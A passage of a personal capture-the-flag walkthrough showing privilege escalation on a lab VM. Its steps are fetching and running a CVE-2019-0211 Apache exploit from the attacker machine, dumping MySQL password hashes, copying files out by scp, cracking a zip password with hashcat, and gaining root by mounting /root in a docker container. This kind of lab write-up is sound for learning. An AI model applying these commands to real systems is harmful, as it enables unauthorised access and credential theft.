root        571  0.0  0.0      0     0 ?        I<   19:11   0:00 [kworker/u257:2]
root        703  0.0  0.0      0     0 ?        S    19:11   0:00 [jbd2/sda2-8]
root        704  0.0  0.0      0     0 ?        I<   19:11   0:00 [ext4-rsv-conver]
root        850  0.0  0.4  89864  9952 ?        Ss   19:11   0:00 /usr/bin/VGAuthService
root        852  0.0  0.3 216944  7220 ?        S<sl 19:11   0:04 /usr/bin/vmtoolsd
root       1077  0.0  0.0 110548  1956 ?        Ssl  19:12   0:00 /usr/sbin/irqbalance --foreground
root       1078  0.0  0.0  95540  1620 ?        Ssl  19:12   0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root       1081  0.0  0.2  62164  5784 ?        Ss   19:12   0:00 /lib/systemd/systemd-logind
root       1137  0.0  1.0 185948 20216 ?        Ssl  19:12   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root       1138  0.0  0.3 286244  6928 ?        Ssl  19:12   0:00 /usr/lib/accountsservice/accounts-daemon
root       1179  0.0  0.8 169100 17308 ?        Ssl  19:12   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root       1184  0.0  0.1  30028  3200 ?        Ss   19:12   0:00 /usr/sbin/cron -f
root       1189  0.0  2.2 912012 46100 ?        Ssl  19:12   0:00 /usr/bin/containerd
root       1190  0.0  0.1  29148  2856 ?        Ss   19:12   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root       1254  0.0  0.3 288884  6472 ?        Ssl  19:12   0:00 /usr/lib/policykit-1/polkitd --no-debug
root       1271  0.0  0.2  72304  5820 ?        Ss   19:12   0:00 /usr/sbin/sshd -D
root       1278  0.0  0.0  14888  1960 tty1     Ss+  19:12   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root       1355  0.0  0.8 333740 16992 ?        Ss   19:12   0:00 /usr/sbin/apache2 -k start
root       1412  0.0  3.9 902164 80468 ?        Ssl  19:12   0:00 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root       1996  0.0  0.0      0     0 ?        I    20:09   0:00 [kworker/1:2]
root       2322  0.0  0.0      0     0 ?        I    21:09   0:00 [kworker/0:2]
root       2330  0.0  0.0      0     0 ?        I    21:13   0:00 [kworker/u256:1]
root       2437  0.0  0.0      0     0 ?        I    21:29   0:00 [kworker/u256:2]
root       2446  0.0  0.1  60576  3812 ?        S    21:31   0:00 sudo -u apaar /home/apaar/.helpline.sh
root       2470  0.0  0.0      0     0 ?        I    21:37   0:00 [kworker/u256:0]
root       2471  0.0  0.0      0     0 ?        I    21:37   0:00 [kworker/u256:3]
root       2536  0.0  0.0      0     0 ?        I    21:39   0:00 [kworker/1:0]
apaar      2559  0.0  0.0  11464  1148 pts/0    S+   21:42   0:00 grep --color=auto root

Oh wait, I forgot about that local PE potential with Apache! Let’s give that a shot!

# Host OS
$ cd /usr/share/exploitdb/exploits/linux/local && python -m SimpleHTTPServer
# Target OS
$ wget 192.168.2.21:8000/46676.php
wget 192.168.2.21:8000/46676.php
--2021-02-04 21:46:39--  http://192.168.2.21:8000/46676.php
Connecting to 192.168.2.21:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 23389 (23K) [application/octet-stream]
Saving to: '46676.php'

46676.php           100%[===================>]  22.84K  --.-KB/s    in 0.009s  

2021-02-04 21:46:39 (2.56 MB/s) - '46676.php' saved [23389/23389]
[email protected]:/tmp$ php 4	
php 46676.php 
CARPE (DIEM) ~ CVE-2019-0211

The following addresses were not determined by parsing /proc/self/maps: shm, libaprR, libaprX, apache, zend_object_std_dtor

I went and read the exploit properly (As I should have right away) and this has a moderate chance of working but… could take a while to properly edit this thing to work and not make me wait forever.

So I kept exploring, here’s what I found:

tcp   LISTEN  0       128                 127.0.0.1:9001          0.0.0.0:*     
tcp   LISTEN  0       80                  127.0.0.1:3306          0.0.0.0:*

[email protected]:/tmp$ cat /srv/ftp/note.txt
cat /srv/ftp/note.txt
Anurodh told me that there is some filtering on strings being put in the command -- Apaar

sudo:x:27:aurick

[email protected]:/tmp$ cat /home/apaar/.ssh/authorized_keys
cat /home/apaar/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3BzOCWTm3aFsN/RKd4n4tBT71A+vJYONyyrDDj59Pv8lnVTtxi1/VI2Nb/op1nHUcuz1tYMJDMew2kkb+5CX6uiYfnryzD4OQoQUhC4tMSmopIoAi322Y5QSzSY1mSBESddCsn0C5VgE9in4PFl3rFv/k05hJDTXewmCh06vN7OAT5CLbf9lTtf1/Ga40pRixYFlV5owqZci697h17Is1K7RSFCQZwLGl29pLHPBwOpXkHpJqNqEl6Wgu+y0jvauNKzgIypD0EyojgX+1OPogSEr8WNuOc8w6wqQm6gTaAayPioIATTD/ECDBMJPLYN71t6Wdi5E+7R2GT6BIRFiGhTG65KXwXj6Vn7bj99BLSlaq2Qk6oUYpxhhkaE5koPKCJHb9zBsrGEUHTOMFjKhCypQCtjG9noW2jzm+/beqKcEZINQEQfzQFIGKdH0ypGfCCvD6YFUg7lcqQQH5Zd+9a95/5WyUE0XkNzJzU/yxfQ8RDB2In/ZptDYNBFoHXfM= [email protected]

Well, if we can get onto aurick we may be able to do something spicy, let’s go poke around in that sql db using the password we found in that random php file…

[email protected]:/tmp$ mysql -u root
mysql -u root
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)
[email protected]:/tmp$ ^[[A -p
mysql -u root -p
Enter password: [email protected][email protected]

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.7.33-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

No entry for terminal type "unknown";
using dumb terminal settings.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 
mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| webportal          |
+--------------------+
5 rows in set (0.00 sec)
mysql> show tables;
show tables;
+---------------------+
| Tables_in_webportal |
+---------------------+
| users               |
+---------------------+
1 row in set (0.00 sec)

mysql> select * from users;
select * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username  | password                         |
+----+-----------+----------+-----------+----------------------------------+
|  1 | Anurodh   | Acharya  | Aurick    | 7e53614ced3640d5de23f111806cc4fd |
|  2 | Apaar     | Dahal    | cullapaar | 686216240e5af30df0501e53c789a649 |
+----+-----------+----------+-----------+----------------------------------+
2 rows in set (0.00 sec)

Okay! Let’s see if we can’t crack that hash and get onto aurick…
10

Instant result on crackstation.net, but it didn’t work to log us into aurick’s account. Damn.

At this point, perhaps we should login to the webapp with one of these accounts and see if we get any hints… The running service on port 9001 cannot be access from my host VM, however I can access it from the local machine. Honestly, I can probably just get the hints I need from taking a closer look at the .php files than waisting time rendering it in a browser.

We see, once you render the page and login, you get the following html rendered:

<html>
<head>
<body>
<style>
body {
  background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif');
}
h2
{
	color:red;
	font-weight: bold;
}
h1
{
	color: yellow;
	font-weight: bold;
}
</style>
<center>
	<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
	<h1 style="background-color:red;">You have reached this far. </h2>
	<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
</center>
</head>
</html>

All we’ve really got to go on now is that little hint, “Look in the dark! You will find your answer”. I have a feeling this on is going to step outside my current comfort zone… I have a feeling something is hidden in these images. So:
- Figure out how to exfiltrate these images off the sever
- Research how to discover hidden data?

Exfiltartion of images

Easy enough, we just sent the files using scp:

[email protected]:/var/www/files/images$ scp 002d7e638fb463fb7a266f5ffc7ac47d.gif [email protected]:/home/kali/Desktop
<5ffc7ac47d.gif [email protected]:/home/kali/Desktop
Could not create directory '/var/www/.ssh'.
The authenticity of host '192.168.2.21 (192.168.2.21)' can't be established.
ECDSA key fingerprint is SHA256:8Bvdrapy7dXM3tLKBJjUcPZfzYRWl03OlErLV5b/CF0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
[email protected]'s password: kali

002d7e638fb463fb7a266f5ffc7ac47d.gif          100% 2035KB 109.8MB/s   00:00    
[email protected]:/var/www/files/images$ scp hacker-with-laptop_23-2147985341.jpg [email protected]:/home/kali/Desktop
<2147985341.jpg [email protected]:/home/kali/Desktop
Could not create directory '/var/www/.ssh'.
The authenticity of host '192.168.2.21 (192.168.2.21)' can't be established.
ECDSA key fingerprint is SHA256:8Bvdrapy7dXM3tLKBJjUcPZfzYRWl03OlErLV5b/CF0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
[email protected]'s password: kali

hacker-with-laptop_23-2147985341.jpg          100%   67KB  54.4MB/s   00:00

Hidden data in images

First things first, a quick search for this reminds me that this is called Steganography. It seems like most folks on unix are using a piece of software called steghide to pull hidden data from images, let’s give it a shot! There’s a few different tools used on windows too. I assume to extract the data, I also have to use the same tool that the author used to embed the data, so let’s see how lucky we are.

I tried the jpg first:

steghide extract -sf hacker-with-laptop_23-2147985341.jpg                                                                         1 ⨯
Enter passphrase: 
wrote extracted data to "backup.zip".

I was surprised to see a password, I just entered a blank password, it seems like it at least found a filename!! Cool!

$ unzip backup.zip 
Archive:  backup.zip
[backup.zip] source_code.php password: 
   skipping: source_code.php         incorrect password

Interesting, this is a file that wasn’t present on the server! However, clearly I have the wrong password… I tried the two passwords I found earlier in the SQL db, but they didn’t work. Look like I need to try to circumvent this too.

Searching around, here are some options to crack this:
- Brute force it: fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' numbers.zip
- Convert the zipfile to a hash and use hashcat

I’m going to do the later, I have a pretty decent machine I think I’ll be able to crack the hash fairly quickly. I Used this guide.

$ zip2john backup.zip > backup_hash.txt
ver 2.0 efh 5455 efh 7875 backup.zip/source_code.php PKZIP Encr: 2b chk, TS_chk, cmplen=554, decmplen=1211, crc=69DC82F3

$ john backup_hash.txt
...

I realized that my VM cannot use the GPU on my Host, so I decided to move the hash over to my host OS and use John there to take advantage of my GPU.

For this, I switched to hashcat, and thus had to use a slightly different process:

$ zip2john backup.zip | cut -d ':' -f 2 > backup.txt

C:\...\hashcat-6.1.1>hashcat.exe --status -w3 -o found.txt -m 17200 ..\..\hashes\chillhack.txt ..\..\wordlist\rockyou.txt
hashcat (v6.1.1) starting...

* Device #1: CUDA SDK Toolkit installation NOT detected.
             CUDA SDK Toolkit installation required for proper device support and utilization
             Falling back to OpenCL Runtime

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL API (OpenCL 1.2 CUDA 11.2.109) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #1: GeForce RTX 2080 Ti, 9600/11264 MB (2816 MB allocatable), 68MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1169 MB

Dictionary cache built:
* Filename..: ..\..\wordlist\rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

Session..........: hashcat
Status...........: Cracked
Hash.Name........: PKZIP (Compressed)
Hash.Target......: $pkzip2$1*2*2*0*22a*4bb*69dc82f3*0*49*8*22a*69dc*22...kzip2$
Time.Started.....: Sun Feb 28 10:46:31 2021 (0 secs)
Time.Estimated...: Sun Feb 28 10:46:31 2021 (0 secs)
Guess.Base.......: File (..\..\wordlist\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   156.4 MH/s (2.31ms) @ Accel:512 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 2228224/14344384 (15.53%)
Rejected.........: 0/2228224 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> 61003
Hardware.Mon.#1..: Temp: 39c Fan:  0% Util: 28% Core:1965MHz Mem:6800MHz Bus:16
Started: Sun Feb 28 10:46:29 2021
Stopped: Sun Feb 28 10:46:33 2021

Oh damn, it exited immediately! I looked in the output file, and sure enough it matched pass1word

Let’s give it a try!

unzip backup.zip 
Archive:  backup.zip
[backup.zip] source_code.php password: 
password incorrect--reenter: 
  inflating: source_code.php

Yes!!! Okay, was this all worth it or was this a silly deadend?

└─$ cat source_code.php
<html>
<head>
	Admin Portal
</head>
        <title> Site Under Development ... </title>
        <body>
                <form method="POST">
                        Username: <input type="text" name="name" placeholder="username"><br><br>
			Email: <input type="email" name="email" placeholder="email"><br><br>
			Password: <input type="password" name="password" placeholder="password">
                        <input type="submit" name="submit" value="Submit"> 
		</form>
<?php
        if(isset($_POST['submit']))
	{
		$email = $_POST["email"];
		$password = $_POST["password"];
		if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
		{ 
			$random = rand(1000,9999);?><br><br><br>
			<form method="POST">
				Enter the OTP: <input type="number" name="otp">
				<input type="submit" name="submitOtp" value="Submit">
			</form>
		<?php	mail($email,"OTP for authentication",$random);
			if(isset($_POST["submitOtp"]))
				{
					$otp = $_POST["otp"];
					if($otp == $random)
					{
						echo "Welcome Anurodh!";
						header("Location: authenticated.php");
					}
					else
					{
						echo "Invalid OTP";
					}
				}
 		}
		else
		{
			echo "Invalid Username or Password";
		}
        }
?>
</html>

All we’ve got there is a password…

$ echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 --decode
[email protected]

Does it do anything for us…?

[email protected]:/var/www/html/secret$ sudo su
sudo su
[sudo] password for www-data: [email protected]

Sorry, try again.
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

sudo: 3 incorrect password attempts
[email protected]:/var/www/html/secret$ ls /home
ls /home
anurodh  apaar	aurick
[email protected]:/var/www/html/secret$ su aurick
su aurick
Password: [email protected]

su: Authentication failure
[email protected]:/var/www/html/secret$ su anurodh
su anurodh
Password: [email protected]

[email protected]:/var/www/html/secret$

Okay cool we got onto another account? Exploring…

[email protected]:/var/www/html/secret$ cd ~
cd ~
[email protected]:~$ ls -al
ls -al
total 28
drwxr-x--- 3 anurodh anurodh 4096 Feb 28 16:02 .
drwxr-xr-x 5 root    root    4096 Oct  3 04:28 ..
-rw------- 1 anurodh anurodh    0 Oct  4 14:14 .bash_history
-rw-r--r-- 1 anurodh anurodh  220 Oct  3 04:28 .bash_logout
-rw-r--r-- 1 anurodh anurodh 3771 Oct  3 04:28 .bashrc
drwx------ 3 anurodh anurodh 4096 Feb 28 16:02 .gnupg
-rw-r--r-- 1 anurodh anurodh  807 Oct  3 04:28 .profile
-rw-r--r-- 1 anurodh anurodh 1211 Oct  3 04:20 source_code.php
[email protected]:~$ sudo -l 
sudo -l
Matching Defaults entries for anurodh on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User anurodh may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

I was poking around at edited files, and saw some Docker stuff and realized remembered that this host has docker running (I’m coming back to this after about a week break…) and realized that I now have privledge to use docker:

$ docker ps
docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

I think Docker was running as root?

[email protected]:/$ ps -aux | grep docker
ps -aux | grep docker
root       1468  0.0  3.9 902164 79832 ?        Ssl  15:57   0:00 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
anurodh   24036  0.0  0.0  13136  1104 pts/0    S+   16:12   0:00 grep --color=auto docker

Hmm, can we mount root directory into a docker container and get read/write access to it that way?

[email protected]:/$ docker run -it --rm -v /root:/mnt/root alpine /bin/sh
docker run -it --rm -v /root:/mnt/root alpine /bin/sh
/ # ls /mnt/root
ls /mnt/root
proof.txt
/ # cat /mnt/root/proof.txt
cat /mnt/root/proof.txt


					{ROOT-FLAG: w1******g}


Congratulations! You have successfully completed the challenge.

Fuck yeah! This one was great! I use Docker everyday at work, but have never been able to use it in ITSec yet - I’d love to get into some container escapes or something along those lines.

Directory
$ cd content && tree